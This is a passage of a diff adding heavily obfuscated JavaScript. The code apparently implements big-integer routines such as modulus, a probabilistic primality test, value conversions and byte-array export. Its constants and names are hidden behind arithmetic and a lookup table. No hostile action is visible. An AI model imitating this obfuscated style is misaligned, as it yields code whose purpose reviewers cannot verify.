t + 1 + , s = e(1) + 1; + e(1); + var c = t + 1; + e(1); + var f = t + 1; + e(68); + var v = t + 18 + , x = e(203) + 69 + , l = e(88) + 16; + e(65); + var d = t + 14; + e(49); + var h = t + 12; + e(57); + var p = t + 10; + e(49); + var y = t + 9 + , g = e(17) + 3; + e(11); + var m = t + 3 + , C = e(38) + 6; + e(62); + var b = t + 16; + e(21); + var E = t + 6 + , S = e(6) + 4; + e(75); + var I = t + 30; + e(79); + var T = t + 13; + e(27); + var A = t + 9; + e(54); + var B = t + 18; + e(196); + var w = t + 83; + e(103); + var N = t + 38; + e(49); + var R = t + 11; + e(27); + var U = t + 8; + e(60); + var D = t + 21; + e(606); + var L = t + 118; + e(525); + var P = t + 187 + , k = e(170) + 68; + e(374); + var K = t + 128 + , V = e(317) + 80 + , O = e(208) + 84; + e(623); + var M = t + 196; + e(498); + var j = t + 168; + e(301); + var F = t + 67; + e(369); + var G = t + 93 + , q = e(294) + 71 + , Q = e(310) + 68 + , W = e(818) + 212 + , z = e(609) + 224 + , H = e(402) + 134; + e(311); + var Y = t + 157 + , Z = e(198) + 55 + , X = e(254) + 41; + e(1777); + var J = t + 407; + e(1188); + var _ = t + 539 + , $ = e(521) + 117 + , rr = e(1642) + 348 + , er = o + , tr = {}; + tr[er("0x1b5")] = function(r, e) { + return r % e + } + , + tr[er("0x1e")] = function(r, e) { + return r < e + } + , + tr[er("0xd7")] = function(r, e) { + return r > e + } + , + tr[er("0x1d0")] = function(r, e) { + return r == e + } + , + tr[er("0xf2")] = function(r, e) { + return r - e + } + , + tr[er("0x48")] = function(r, e) { + return r >= e + } + , + tr[er("0xb8")] = function(r, e) { + return r + e + } + , + tr[er("0xea")] = function(r, e) { + return r * e + } + ; + var nr = tr; + if (r <= (E - c * i - i - a * s * i) * (U - n * a * n - c - n * n * u - c * s * f) - (k - u - n * i - f) + (w - c * i - f * u * n - s) * -(g - n * c * n - a * n * s - i - s * s)) + return H - a * i * u - f * n - s * f * u + -(b - f - i * c * u - s * c) * -(d - n - f - f * a * n - i) - (rr - s - n * n - a * a * s - s * c); + var ar = nr[er("0x1b5")](this.DV, r) + , ir = nr[er("0x1e")](this.s, -(l - f - i * c - s * i - u * n * a) * (P - u * i - n - c - u * u) + (K - n * s - c * c * s - c * c * i) * (p - f - i * i * c - n * s) - (j - i * c * s - s * u * u - a)) ? r - (-(h - a - c * c - i - a * n) * (C - u * s - u - c - i * u * c) - (X - a * f * u - s - c * s - i * i * u) + -(V - i * c * i - i * c * s - i * i - u * c * f) * -(T - f - a * u * i - n * c * f - a)) : (N - f * n * c - n - c * n - a) * -(m - i * a - u * u * u - a * s - n) - (W - a - i * s - c * s - s * a) + -(I - a * c - u * a * s - i * c * n - a) * -(_ - a * n * n - a * a - n * n * a - u); + if (nr[er("0xd7")](this.t, Y - c * i * n - u * i - u * i - i - (F - f * f - i - i * n * i) - (O - s * s - s * i * u - a))) + if (nr[er("0x1d0")]((z - s * u * s - n * i * n - c) * (S - a * f * s - s * s - u * s) + -(A - c - a * c * s - f) * -(y - c * f - u * s * a - n * u - a) - ($ - f * s - c * s * i - a * s * f - a * a * s), ar)) + ir = this[er("0x19")][-(v - a - i - n * u) * -(x - c * s - i * a - c * a - f * s) + (q - a - n * s - u * n * a - i * c * n) - (Z - i * i - i - i * s * c - c * n)] % r; + else + for (var or = nr[er("0xf2")](this.t, G - a - f - f * c * f - u + (L - n * f * u - s - u * i * u - n * f) - (Q - s * u * i - n * f - c * i)); nr.RNCgH(or, (B - f - f - f * a * s - s * a * i) * (M - f * u * n - i * n - u * c - u * f * s) - (J - c * c - s - f * c * a - u * c) + -(D - u * c * n - f * a - s - f * i * f) * -(R - i * u * n - s * i * i - u * s * u - n * i)); --or) + ir = nr[er("0x1b5")](nr[er("0xb8")](nr[er("0xea")](ar, ir), this[er("0x19")][or]), r); + return ir + } + , + s[o("0x99")][o("0x141")] = function(r) { + function e(r) { + return t += r + } + var t = 0 + , n = e(3) + 2 + , a = e(2) + 1 + , i = e(1) + 1; + e(1); + var u = t + 1; + e(1); + var c = t + 1; + e(1); + var f = t + 1; + e(1); + var v = t + 1; + e(14); + e(5); + e(30); + e(32); + e(15); + e(5); + var x = t + 4; + e(9); + var l = t + 2; + e(3); + e(6); + var d = t + 3; + e(7); + e(7); + var h = t + 2 + , p = e(5) + 1; + e(1); + var y = t + 1; + e(5); + e(7); + var g = t + 3; + e(21); + e(30); + e(30); + var m = e(22) + 5; + e(4); + var C = e(66) + 12 + , b = e(62) + 12; + e(14); + var E = e(20) + 5; + e(27); + e(41); + var S = t + 11; + e(30), + e(8); + e(46); + e(6); + var I = t + 2 + , T = e(39) + 11; + e(10); + e(9); + var A = t + 4; + e(43); + var B = t + 13; + e(20); + e(8); + var w = t + 2; + e(32); + var N = t + 8; + e(32); + var R = t + 11; + e(71); + var U = t + 17; + e(17); + e(91); + var D = e(46) + 17; + e(60); + var L = t + 15; + e(16); + var P = t + 3; + e(12); + e(17); + e(25); + var k = e(27) + 10 + , K = e(14) + 4 + , V = e(26) + 8 + , O = (e(9), + e(6) + 2); + e(2); + e(19); + var M = e(57) + 11; + e(19); + var j = t + 6; + e(40); + e(40); + var F = t + 10 + , G = (e(13), + e(48), + e(21) + 7); + e(18); + var q = t + 5; + e(20); + var Q = t + 6; + e(22); + e(79); + var W = t + 17 + , z = e(31) + 16 + , H = e(47) + 11 + , Y = (e(10), + e(11) + 5); + e(29); + var Z = t + 10; + e(12); + e(35); + var X = t + 12; + e(51); + e(57); + var J = t + 18; + e(104); + var _ = t + 26; + e(53); + var $ = t + 8; + e(133); + e(122); + var rr = t + 28; + e(129); + e(118); + e(79); + e(29); + var er = t + 11; + e(56); + e(29); + e(62); + e(129); + e(130); + var tr = t + 27; + e(164); + e(109); + e(466); + e(86); + e(66); + var nr = t + 37; + e(235); + e(181); + var ar = t + 55; + e(57); + e(87); + e(61); + var ir = t + 14; + e(26); + var or = t + 15; + e(19); + e(224); + e(63); + var ur = t + 9; + e(134); + e(228); + e(82); + e(18); + e(158); + e(359); + var sr = t + 126; + e(306); + var cr = t + 76; + e(204); + e(476); + e(325); + e(486); + var fr = t + 89; + e(67); + var vr = t + 32 + , xr = e(253) + 46; + e(105); + var lr = t + 18 + , dr = e(89) + 16; + e(29); + var hr = t + 16; + e(77); + e(75); + var pr = t + 23; + e(35); + var yr = t + 15; + e(197), + e(74); + e(97); + var gr = t + 50; + e(49); + var mr = e(44) + 11; + e(589); + var Cr = t + 99 + , br = e(181) + 53; + e(47); + e(135); + var Er = t + 31; + e(84); + var Sr = t + 15; + e(447); + e(265); + var Ir = e(133) + 59; + e(64); + var Tr = e(57) + 8 + , Ar = e(111) + 33; + e(355); + e(1206), + e(878); + e(1335); + var Br = t + 307 + , wr = o + , Nr = {}; + Nr[wr("0xc4")] = function(r, e) { + return r < e + } + , + Nr[wr("0x12")] = function(r, e) { + return r == e + } + , + Nr[wr("0x22f")] = function(r, e) { + return r <= e + } + , + Nr[wr("0x44")] = wr("0x1a2"), + Nr.UJWUe = function(r, e) { + return r < e + } + , + Nr[wr("0xaa")] = function(r, e) { + return r - e + } + , + Nr[wr("0xb1")] = function(r, e) { + return r - e + } + , + Nr.ZJcMY = function(r, e) { + return r >= e + } + , + Nr[wr("0xaf")] = function(r, e) { + return r - e + } + , + Nr[wr("0x90")] = function(r, e) { + return r + e + } + , + Nr[wr("0xfc")] = function(r, e) { + return r <= e + } + , + Nr.MUPRc = function(r, e) { + return r < e + } + , + Nr.mKwhu = function(r, e) { + return r !== e + } + , + Nr[wr("0x77")] = wr("0x1d3"), + Nr[wr("0x27")] = wr("0x88"), + Nr[wr("0x5c")] = function(r, e) { + return r <= e + } + , + Nr[wr("0xf6")] = function(r, e) { + return r != e + } + , + Nr.kxuup = function(r, e) { + return r != e + } + , + Nr[wr("0xc5")] = wr("0xcd"), + Nr[wr("0x177")] = function(r, e) { + return r < e + } + , + Nr[wr("0x1ca")] = function(r, e) { + return r == e + } + , + Nr[wr("0x1b3")] = function(r, e) { + return r != e + } + ; + var Rr = Nr + , Ur = this[wr("0x1de")](s[wr("0x1d4")]) + , Dr = Ur[wr("0x150")](); + if (Rr[wr("0xfc")](Dr, -(J - f * v - c - u * u - f * u * i) - (sr - a * a - a * a * i - a) + (gr - c * v * i - n * n * f - a - v * c * f))) + return !(-(hr - a - f - a - f) * -(B - n - v - v * n - i * c * f) + (Ir - a * a * i - c * v * u - n - i * i * u) + (j - f * f - c * f * u - c * n - i * u) * -(G - u * c - a * u - v * a * v - c * a * v)); + var Lr = {}; + Lr[wr("0x1f4")] = function(r) {} + ; + for (var Pr, kr = Ur.shiftRight(Dr), Kr = Lr, Vr = -(m - c * f - v * n - n * f - i * f) * -(er - f * a * u - a * v - a * f) + -(g - u * i - c - i * i - i * i) * -(X - n - i * n - a * u * n) - (Er - f - c - a * n - f); Rr[wr("0x5e")](Vr, r); ++Vr) + if (Rr[wr("0x21a")](Rr[wr("0x77")], Rr.EmpPe)) { + do { + Pr = new s(this[wr("0x203")](),Kr) + } while (Rr[wr("0x5c")](Pr[wr("0x1ea")](s.ONE), rr - a - c * u - v * a * n + (b - c - f - u * u - a * c * a) * (mr - v * c * i - a - c * u - v * u * u) + (F - u - n * v * f - v * i - n * c * v) * -(A - c * v - f - f * f * n - i)) || Pr[wr("0x1ea")](Ur) >= -(Z - u - u - n) - (pr - v - c * c * u - u * f * i - v * c * v) + -(lr - v - v * n - a * a * n - a * c) * -(E - c * i * a - f * n - a)); + var Or = Pr.modPow(kr, this); + if (Rr[wr("0xf6")](vr - f - a - n * a * c - c * i + -(h - u - n * a - i * f) * -(C - f - f - n * v - u * v) - (Br - u - f - c * a - v * u * c), Or[wr("0x1ea")](s[wr("0x1d4")])) && Rr[wr("0x21b")](yr - f * a - f * f * f - n * a * a - i + (k - a * a - n * v * c - u * v * i - c) * -(w - c * f - c * n - a * i * f) + (V - n * u * c - n * i * f - c - n * f * i) * -(y - n - n * c - c - a * f), Or[wr("0x1ea")](Ur))) + if (Rr[wr("0xc5")] === wr("0x199")) + ; + else { + for (var Mr = -(x - n * f - f - a * c) * (ur - v - u - i * i * v - i) + -(z - v * v * a - f * n * u - a * a - f * f * n) * (Q - u * n - n * f - v * v) + -(cr - v - c - a * a - f * n * v) * -(L - a * f * a - n * f * c - n * c * a); Rr[wr("0x177")](Mr++, Dr) && Rr.kxuup(tr - v - i * c * u - c - u * i - (Cr - c * v - c * a * n - c - i) + (fr - v * f - c - n - c * f * v), Or[wr("0x1ea")](Ur)); ) + if (Rr[wr("0x1ca")]((l - f - f - f - u) * (O - u * i * v - n * v - v * a - u * f * n) + (D - i - f * i * f - i * c * n) * (K - n * i - c - n * a * c - i * i * f) - (xr - u * v - n - i * u - i * f * u), (Or = Or.modPowInt(-($ - v * a * f - n * f * a - c - v * v * c) * -(S - a * n - f * f - i * u - c * f) + (T - c * c - a - f * v * n) * -(Ar - c * a * i - c * v * u - i * c * f) + (dr - i * a * i - u * v - i), this)).compareTo(s[wr("0x1d4")]))) + return !((p - v * n - v - c * c) * (ar - u - i * f - i - a * v) + (nr - u * i - a * c * i - f * n - f * v * v) + -(R - f - v - v * f * i) * (Tr - f - a - a)); + if (Rr.CIpbk(-(br - u * c * n - a * f * u - v * n * c) * -(M - i * f * i - u * v - a * i * u - u * i * i) - (P - f * a - c * v - i) + (q - u * f * f - f * f - u * u - i * f * i) * -(N - u - c * f * a - v - a * a), Or[wr("0x1ea")](Ur))) + return !(-(W - v - f - n) * -(H - c * v * c - n - u * f * f - u) + (or - f * a * a - u * f * f - n * u * i - f * i * v) + (ir - c * i * u - i - v * a) * -(d - a * v - f - a - i * i)) + } + } else + ; + return !(-(I - f * v - u - n * c * f - c) * -(_ - f * v * n - a - i * f * v - c) - (Sr - f * a - c - f) + (U - v - c * c - u * i - u * f * c) * (Y - f * c * u - u * f - i - f * u)) + } + , + s[o("0x99")].clone = function() { + var r = o + , e = {}; + e[r("0x12e")] = function(r) { + return r() + } + ; + var t = e.gRKma(c); + return this[r("0x20a")](t), + t + } + , + s[o("0x99")][o("0x14f")] = function() { + function r(r) { + return e += r + } + var e = 0; + r(4); + var t = e + 1; + r(1); + var n = e + 1; + r(1); + var a = e + 1 + , i = r(1) + 1 + , u = r(1) + 1 + , s = r(1) + 1 + , c = r(1) + 1; + r(13); + var f = e + 4 + , v = r(38) + 12; + r(40); + var x = e + 6; + r(12); + var l = e + 5; + r(46); + var d = e + 20; + r(36); + var h = e + 11; + r(152); + var p = e + 41 + , y = r(115) + 23; + r(35); + var g = e + 10; + r(38); + var m = e + 7; + r(8); + var C = e + 3 + , b = r(5) + 2; + r(19); + var E = e + 4 + , S = r(26) + 10; + r(8); + var I = e + 4 + , T = r(127) + 30 + , A = r(31) + 8; + r(10); + var B = e + 3 + , w = r(26) + 7 + , N = r(23) + 8; + r(141); + var R = e + 49; + r(100); + var U = e + 17 + , D = r(45) + 10; + r(29); + var L = e + 5; + r(52); + var P = e + 9; + r(145); + var k = e + 18; + r(86); + var K = e + 17 + , V = r(323) + 41 + , O = r(253) + 58; + r(43); + var M = e + 22; + r(56); + var j = e + 8; + r(52); + var F = e + 18 + , G = r(120) + 38; + r(91); + var q = e + 24 + , Q = r(299) + 83; + r(243); + var W = e + 89 + , z = r(230) + 67 + , H = r(89) + 40; + r(47); + var Y = e + 11; + r(197); + var Z = e + 55 + , X = r(88) + 34; + r(214); + var J = e + 65; + r(485); + var _ = e + 163; + r(242); + var $ = e + 70; + r(580); + var rr = e + 274; + r(504); + var er = e + 171; + r(1038); + var tr = e + 271; + r(212); + var nr = e + 61 + , ar = r(236) + 102; + r(484); + var ir = e + 98; + r(679); + var or = e + 145 + , ur = r(254) + 118; + r(134); + var sr = e + 30 + , cr = r(33) + 11; + r(249); + var fr = e + 29; + r(74); + var vr = e + 33; + r(51); + var xr = e + 14 + , lr = r(275) + 38 + , dr = r(328) + 66; + r(218); + var hr = e + 84; + r(161); + var pr = e + 33 + , yr = r(1956) + 354; + r(1596); + var gr = e + 225 + , mr = r(1105) + 278 + , Cr = o + , br = {}; + br[Cr("0x91")] = function(r, e) { + return r < e + } + , + br[Cr("0x8f")] = function(r, e) { + return r == e + } + , + br[Cr("0x6f")] = function(r, e) { + return r - e + } + , + br[Cr("0x75")] = function(r, e) { + return r === e + } + , + br[Cr("0x1dc")] = Cr("0x233"), + br[Cr("0xcf")] = function(r, e) { + return r | e + } + ; + var Er = br; + if (Er[Cr("0x91")](this.s, (nr - s * t * c - i - t * a) * -(w - c - c * u * a - t * c - a * n) + -(G - u - a * t * c - t - t * a) * (m - s * u - c * i - i * u * t) + (mr - t * i * c - u - n * c * c))) { + if (Er.FSaHp((V - t * a - c * c * s - t - n * c * i) * ($ - t - t * i * u - c * s - t * c * n) + (g - s - c * n * n - s * s) * (T - i * a * a - u - t * c * t) + -(E - n - s * t * c - t - u) * (sr - n * a * c - t * s * t - t * n * c - s), this.t)) + return Er[Cr("0x6f")](this[Cr("0x19")][(l - n - t * u - a - c * t) * (q - s * n * s - c * s * s - c) + (er - a * u - u * s * n - u * n * i - s * n) - (vr - s * n - s * s * a - n * t - t * t * u)], this.DV); + if (Er[Cr("0x8f")]((W - i * n - s - s * n * c - c * t * c) * -(L - c * a * c - u * u - c * s - u * c) + (fr - u - a * c * t - u * t * i) - (tr - u * t - t - a - i * i * t), this.t)) + return -((Y - i * i - n * n * a - n * a * a) * (h - s * s - t * a - a * s) + (d - u * t - a * u - a) * -(P - t * a * c - a - c * a * u - i) + (J - a - n - n - t) * (v - t - u - n * i - s)) + } else if (Er[Cr("0x75")](Cr("0x233"), Er[Cr("0x1dc")])) { + if (Er[Cr("0x8f")](-(D - c * n - a - t * i - s * s * u) * (I - c * n - i * n - u * t * u) - (_ - t * i * u - t - u * c * a - a * t) + (yr - s * i - c * s - t * a - s * i), this.t)) + return this[Cr("0x19")][pr - a * c - t - t - (cr - c - t * i * s - i * u * i - u * t) + (z - i - a * c * c - u - n) * -(A - t * n - i * s * u - a - u)]; + if (-(S - s - c * i - s * t * s) * -(O - a - i * i * s - i * u * n) + (hr - a * t - s * a * c - t * i * i) - (gr - i * n - u * a - t - i) == this.t) + return -(U - t - u - a * a) * -(p - a - u - s * n * n - c) - (X - u * a * u - n - t * t) + (j - a * s - i * n - c) + } else + ;return Er.UwmUK((this.data[-(ar - t - i - s * u - u * s * t) * -(R - a - s - u * s * c) + -(y - t * n - n * s * n - t * n - i * i) * -(Z - c * a - a * u - n * s * i - i * a * t) - (lr - t * c - u - u * t)] & Er.JWBBC(-(ur - s * s * s - u * n * u - s * s - c) - (K - a - c * u - c - t * n) + (or - a - i - t - a * u) << Er.JWBBC(-(ir - c * c * u - u - s * s - t * u * u) * -(C - a - t * s * u - i * c) + -(b - n * n - t - i * u * a) * (k - c * u - a * c - c * i * i - c * s) - (rr - s * a - s * a * c - i * a * t - a), this.DB), -(N - n - i - s * u * i - u * s) * -(F - s * c * a - a * u * i - a * n * c - c * n) + (x - t * a - n - t * c - u) * -(Q - s * t * n - a - t * s * c) + -(H - u * t - u * u - i * n - t * i) * -(f - n - u - t - n))) << this.DB, this[Cr("0x19")][M - n * t - u * u - c * t - (dr - i - s * u - u * c - u * a) + -(xr - i * i - u * a * s - s - c * i * u) * -(B - n * s * s - t * u - t - c * c)]) + } + , + s.prototype[o("0x6e")] = function() { + function r(r) { + return e += r + } + var e = 0; + r(4); + var t = e + 1; + r(1); + var n = e + 1; + r(1); + var a = e + 1 + , i = r(1) + 1 + , u = r(1) + 1; + r(1); + var s = e + 1 + , c = r(1) + 1; + r(97); + var f = e + 17; + r(48); + var v = e + 19; + r(23); + var x = e + 7; + r(137); + var l = e + 24; + r(195); + var d = e + 42; + r(338); + var h = e + 55; + r(194); + var p = e + 63; + r(139); + var y = e + 27; + r(133); + var g = e + 25; + r(261); + var m = e + 39; + r(99); + var C = e + 29; + r(34); + var b = e + 9; + r(59); + var E = e + 19; + r(1064); + var S = e + 246; + r(1049); + var I = e + 336 + , T = r(520) + 185 + , A = r(1892) + 314; + r(1837); + var B = e + 889; + r(2138); + var w = e + 308; + r(855); + var N = e + 127 + , R = o + , U = {}; + U[R("0x74")] = function(r, e) { + return r == e + } + , + U[R("0x165")] = function(r, e) { + return r >> e + } + ; + var D = U; + return D.tXpZH((w - n * a * a - n * u - n - s * u * u) * (h - s * a * i - n - a * n * i) + -(f - t - s * t - t - a * u) * -(S - s - t * n - u - u) + (p - u * t * t - u * c * a - a * c) * -(y - n * u - i * s * n - t * i * c - c * c), this.t) ? this.s : D.OZmKv(this.data[-(x - u - s * a - c * a - t) * (C - s * n * n - i * a * n - c * u * s - i) - (B - i - u * s * n - t * n * u) + (E - s * n * a - t * a * n - u * c - t) * (v - s * c - s * t - n)] << A - s * s - i * n * t - u * s * t - u - (N - n * u * u - c * i * t - n * a * t - u * s * a) + (I - c * n - u * c - i - a * a * a), (m - s - n * u * u - u) * (g - c - c - a * u * i - u * u * s) + -(l - n * i - u * t * n - c - u) * -(T - a * t * n - c - n * n - a * a * u) + -(b - u - t * t * i - s * a) * (d - n - c * i * t - u * s - c)) + } + , + s[o("0x99")].shortValue = function() { + function r(r) { + return e += r + } + var e = 0; + r(3); + var t = e + 2; + r(1); + var n = e + 2; + r(1); + var a = e + 2 + , i = r(1) + 2 + , u = r(1) + 2; + r(2); + var s = e + 1 + , c = r(1) + 1; + r(346); + var f = e + 84 + , v = r(170) + 38 + , x = r(58) + 28 + , l = r(37) + 11 + , d = r(90) + 46; + r(84); + var h = e + 27 + , p = r(94) + 37; + r(114); + var y = e + 23; + r(210); + var g = e + 51 + , m = r(246) + 49; + r(85); + var C = e + 18; + r(29); + var b = e + 13; + r(159); + var E = e + 45; + r(524); + var S = e + 105; + r(258); + var I = e + 41 + , T = r(1220) + 193 + , A = r(3288) + 791 + , B = r(1516) + 410; + r(867); + var w = e + 211; + r(1400); + var N = e + 327 + , R = o + , U = {}; + U[R("0x18")] = function(r, e) { + return r == e + } + , + U[R("0x12f")] = function(r, e) { + return r << e + } + ; + var D = U; + return D[R("0x18")]((S - c - s * t - n * s) * -(p - i * c - s * a * u - a - i * t * t) + (y - n * u * i - i - i - i * s * n) * (g - a * n * i - u - a * n * s - u * u * n) + (I - a * s * i - c * u * t - n - i * c * n), this.t) ? this.s : D[R("0x12f")](this[R("0x19")][(f - i - n * a * i - t - a * c) * (l - s * i - i - s * n * t) + -(A - s * a - i - i) * -(m - t * t - u * u * c - c * n * i - a * u) + (C - s * u * t - i * c - c) * -(E - i * n - i * u * u - i * s - s * u * c)], w - i - u * c * u - c * u - i + (T - c * c * c - s * t * s - u - n * i * u) - (N - i * c * t - c - u * i * n)) >> -(b - i * t * a - u * a * c - u * n * c) * -(d - a * c * u - u - s - u) + (v - c * a - s * i * n - n) * -(B - t * c - a * i - i * t - t * u * n) + -(h - i * n - a * t - n - i * i * c) * -(x - a - s - u - u * t * a) + } + , + s.prototype[o("0x21f")] = function() { + function r(r) { + return e += r + } + var e = 0; + r(3); + var t = e + 2; + r(2); + var n = e + 1; + r(1); + var a = e + 1; + r(0); + var i = e + 2; + r(2); + var u = e + 1 + , s = r(1) + 1 + , c = r(1) + 1; + r(109); + var f = e + 18; + r(24); + var v = e + 11; + r(9); + var x = e + 5; + r(10); + var l = e + 4 + , d = r(19) + 6; + r(10); + var h = e + 3; + r(144); + var p = e + 31 + , y = r(63) + 21 + , g = r(18) + 4; + r(30); + var m = e + 6 + , C = r(9) + 5; + r(31); + var b = e + 7 + , E = r(41) + 13 + , S = r(128) + 36; + r(69); + var I = e + 15 + , T = r(64) + 18; + r(27); + var A = e + 11; + r(67); + var B = e + 17; + r(121); + var w = e + 26; + r(31); + var N = e + 10; + r(140); + var R = e + 37 + , U = r(51) + 12; + r(190); + var D = e + 33 + , L = r(52) + 19; + r(268); + var P = e + 110; + r(1363); + var k = e + 176; + r(1960); + var K = e + 338; + r(1026); + var V = e + 196; + r(451); + var O = e + 211; + r(661); + var M = e + 167 + , j = r(877) + 147 + , F = r(119) + 47; + r(564); + var G = e + 171 + , q = r(446) + 82 + , Q = r(691) + 195; + r(217); + var W = e + 45; + r(245); + var z = e + 105 + , H = r(5397) + 1314 + , Y = o + , Z = {}; + Z[Y("0x8d")] = function(r, e) { + return r <= e + } + , + Z[Y("0x1c4")] = function(r, e) { + return r == e + } + ; + var X = Z; + return this.s < P - c * a - a - u - a * a * s + (W - s - u * s * s - n * t - a * u * s) * -(D - s - a * s * c - a - s * n * c) + (G - t - a * c * u - s * s * u - n) ? -(-(T - a * t - a - a * s - c * n) * (l - a * a - s * t - n * c) + -(B - i - t * n * u - i * c - a) * (p - n * n - t - u * a * t) + (V - u * n - n * t - n * s * t - a)) : X[Y("0x8d")](this.t, -(g - i * c - c * s - c - n * a * t) * (j - s - n * i - s * c - i) + -(N - i - a - i * u * i - a * i * i) * (C - s - u - i * u - t * a) + (z - n * t - t * s - u * a * s - n * n) * (A - c * s - c * s - u * c * n - c)) || X.ZWgrz(q - t * a * n - c - n * n * u - c * s - (K - s * c - t * i - a * s * a) + -(x - c * u - n * a - t) * (L - c * i - t * u * n - s * c * a - n), this.t) && X[Y("0x8d")](this[Y("0x19")][F - t * s - i - s + (b - i - a * a - u - n * s * t) * (E - t * c * n - c * u - s * s) - (Q - n * c * t - t * n * t - t * i)], -(d - n - t - a) * (v - u - a * n - n * a - i) - (M - u - n - t * a * n - i) + -(H - n * t * c - u - u * s - s * t * c) * -(f - n - c - c * t - i * i)) ? (I - n * s - i - s * s - u) * (S - n * t * n - t * u * c - u) + -(R - s - i * i * u - c * a - c) * (y - s * u - n * t * u - u * t - s) - (k - i * u * c - i * i * s - a * i) : (w - u - i * u - u * c - t) * -(U - a * u * i - n * c * t - c * n * n) - (m - i * i - i - s - s * a) + (O - t * n - t - u * c * t - a) * (h - i * a - u * u - i * a) + } + , + s[o("0x99")].toByteArray = function() { + function r(r) { + return e += r + } + var e = 0; + r(3); + var t = e + 2; + r(1); + var n = e + 2; + r(2); + var a = e + 1; + r(1); + var i = e + 1; + r(1); + var u = e + 1; + r(0); + var s = e + 2; + r(2); + var c = e + 1 + , f = r(52) + 16 + , v = r(23) + 10; + r(38); + var x = e + 9; + r(15); + var l = e + 3; + r(29); + var d = e + 12 + , h = r(84) + 25; + r(32); + var p = e + 16; + r(36); + var y = e + 13; + r(15); + var g = e + 5; + r(36); + var m = e + 8 + , C = r(22) + 9; + r(17); + var b = e + 8; + r(21); + var E = e + 4; + r(42); + var S = e + 15; + r(19); + var I = e + 7; + r(13); + var T = e + 7; + r(41); + var A = e + 8; + r(68); + var B = e + 18; + r(18); + var w = e + 6; + r(33); + var N = e + 6; + r(42); + var R = e + 10; + r(30); + var U = e + 14; + r(50); + var D = e + 12; + r(45); + var L = e + 21; + r(33); + var P = e + 12 + , k = r(39) + 10 + , K = r(14) + 3; + r(52); + var V = e + 11 + , O = r(10) + 4 + , M = r(26) + 11; + r(14); + var j = e + 3 + , F = r(19) + 8; + r(49); + var G = e + 9 + , q = r(26) + 7; + r(54); + var Q = e + 13; + r(206); + var W = e + 34; + r(36); + var z = e + 9 + , H = r(70) + 21 + , Y = r(26) + 5; + r(13); + var Z = e + 6; + r(24); + var X = e + 5; + r(160); + var J = e + 31; + r(152); + var _ = e + 22; + r(118); + var $ = e + 32; + r(165); + var rr = e + 39 + , er = r(114) + 31; + r(41); + var tr = e + 9; + r(140); + var nr = e + 35 + , ar = r(82) + 23; + r(71); + var ir = e + 21 + , or = r(54) + 8; + r(15); + var ur = e + 4; + r(166); + var sr = e + 35 + , cr = r(277) + 46; + r(208); + var fr = e + 51; + r(405); + var vr = e + 59 + , xr = r(156) + 35; + r(104); + var lr = e + 21; + r(149); + var dr = e + 43 + , hr = r(75) + 23; + r(213); + var pr = e + 51; + r(167); + var yr = e + 32; + r(125); + var gr = e + 55 + , mr = r(239) + 57; + r(126); + var Cr = e + 53; + r(205); + var br = e + 52; + r(341); + var Er = e + 40; + r(182); + var Sr = e + 58; + r(183); + var Ir = e + 75; + r(1023); + var Tr = e + 123 + , Ar = r(143) + 46; + r(88); + var Br = e + 21 + , wr = r(158) + 26; + r(44); + var Nr = e + 11; + r(83); + var Rr = e + 37; + r(120); + var Ur = e + 51; + r(245); + var Dr = e + 65; + r(1173); + var Lr = e + 317; + r(447); + var Pr = e + 107; + r(87); + var kr = e + 46; + r(272); + var Kr = e + 143; + r(190); + var Vr = e + 59; + r(342); + var Or = e + 87 + , Mr = r(237) + 89; + r(903); + var jr = e + 179; + r(475); + var Fr = e + 107; + r(483); + var Gr = e + 67; + r(1503); + var qr = e + 379; + r(1579); + var Qr = e + 424; + r(3560); + var Wr = e + 846 + , zr = o + , Hr = { + AdWOl: function(r, e) { + return r - e + } + }; + Hr[zr("0x1e2")] = function(r, e) { + return r % e + } + , + Hr[zr("0x47")] = function(r, e) { + return r * e + } + , + Hr[zr("0xb2")] = function(r, e) { + return r > e + } + , + Hr[zr("0x1df")] = function(r, e) { + return r < e + } + , + Hr[zr("0x1b")] = function(r, e) { + return r != e + } + , + Hr[zr("0x1e9")] = function(r, e) { + return r >> e + } + , + Hr[zr("0xb9")] = function(r, e) { + return r >> e + } + , + Hr[zr("0x15a")] = function(r, e) { + return r & e + } + , + Hr[zr("0x17")] = function(r, e) { + return r | e + } + , + Hr[zr("0x1bb")] = function(r, e) { + return r - e + } + , + Hr[zr("0xe")] = function(r, e) { + return r >= e + } + , + Hr[zr("0xe1")] = function(r, e) { + return r << e + } + , + Hr.UYoYj = function(r, e) { + return r & e + } + , + Hr[zr("0x134")] = function(r, e) { + return r >> e + } + , + Hr.HLhKL = function(r, e) { + return r <= e + } + , + Hr[zr("0xba")] = function(r, e) { + return r > e + } + ; + for (var Yr = Hr, Zr = "4|3|0|2|1"[zr("0x1b6")]("|"), Xr = (L - c * n - s - c * n * u - a) * -(m - n - s - i * t - n * i * n) + -(or - t * n - n * c * u - n) * (d - n * i - i * s - i * n) + (Fr - t * s - t - i - n * i); ; ) { + switch (Zr[Xr++]) { + case "0": + var Jr, _r = Yr[zr("0x16f")](this.DB, Yr[zr("0x1e2")](Yr.SvhjL(re, this.DB), wr - s - a - i - a - (mr - s * u - n - a * n * c) + -(cr - a - t * s - s * s - s * t) * ($ - n - c * s * t - c * i * s - u * u * a))), $r = -(ir - u * u * t - c * u - s - s) * -(T - n * s - u * a * n - s * a) + (Br - c * i - n * u - u) * -(x - u - a * s - a - t * u) + (j - a - n * s - u * n - n * i); + continue; + case "1": + return ee; + case "2": + if (Yr.eJluw(re--, (Y - a * u * a - t * i - i * s * c - c * n) * -(C - a - t - t * c * t - u) - (Sr - t * c * i - s - u * i * u - n * t) + (qr - u * u - s * n - u * c * i))) + for (Yr[zr("0x1df")](_r, this.DB) && Yr[zr("0x1b")](Jr = Yr[zr("0x1e9")](this[zr("0x19")][re], _r), Yr.klaGH(Yr.tTQYX(this.s, this.DM), _r)) && (ee[$r++] = Yr[zr("0x17")](Jr, this.s << Yr[zr("0x1bb")](this.DB, _r))); Yr.FWyKv(re, -(g - t * c * t - t * a - u - a) * -(l - a * t - t * u - n * i - n) + (f - t * s - i - c - n) * -(ar - a - u - c * i - s) + (Rr - t * a - s - a * t * i - n * i)); ) + _r < nr - n * s * i - a * u - u - n * i + (h - s * t - s - u * u - c * i) * (K - s * a * a - n * a * i - a - s * t) + (Q - n * n * s - n - n * t * s) * -(w - s - t * c * s - a * s) ? (Jr = Yr[zr("0xe1")](Yr[zr("0xec")](this[zr("0x19")][re], Yr[zr("0x1bb")](-(k - s * n - t - t * n - i * s * s) * (F - a * a * i - u * t * u - n - i * i) + (yr - s * c * c - s * c * u - s * n - i) * 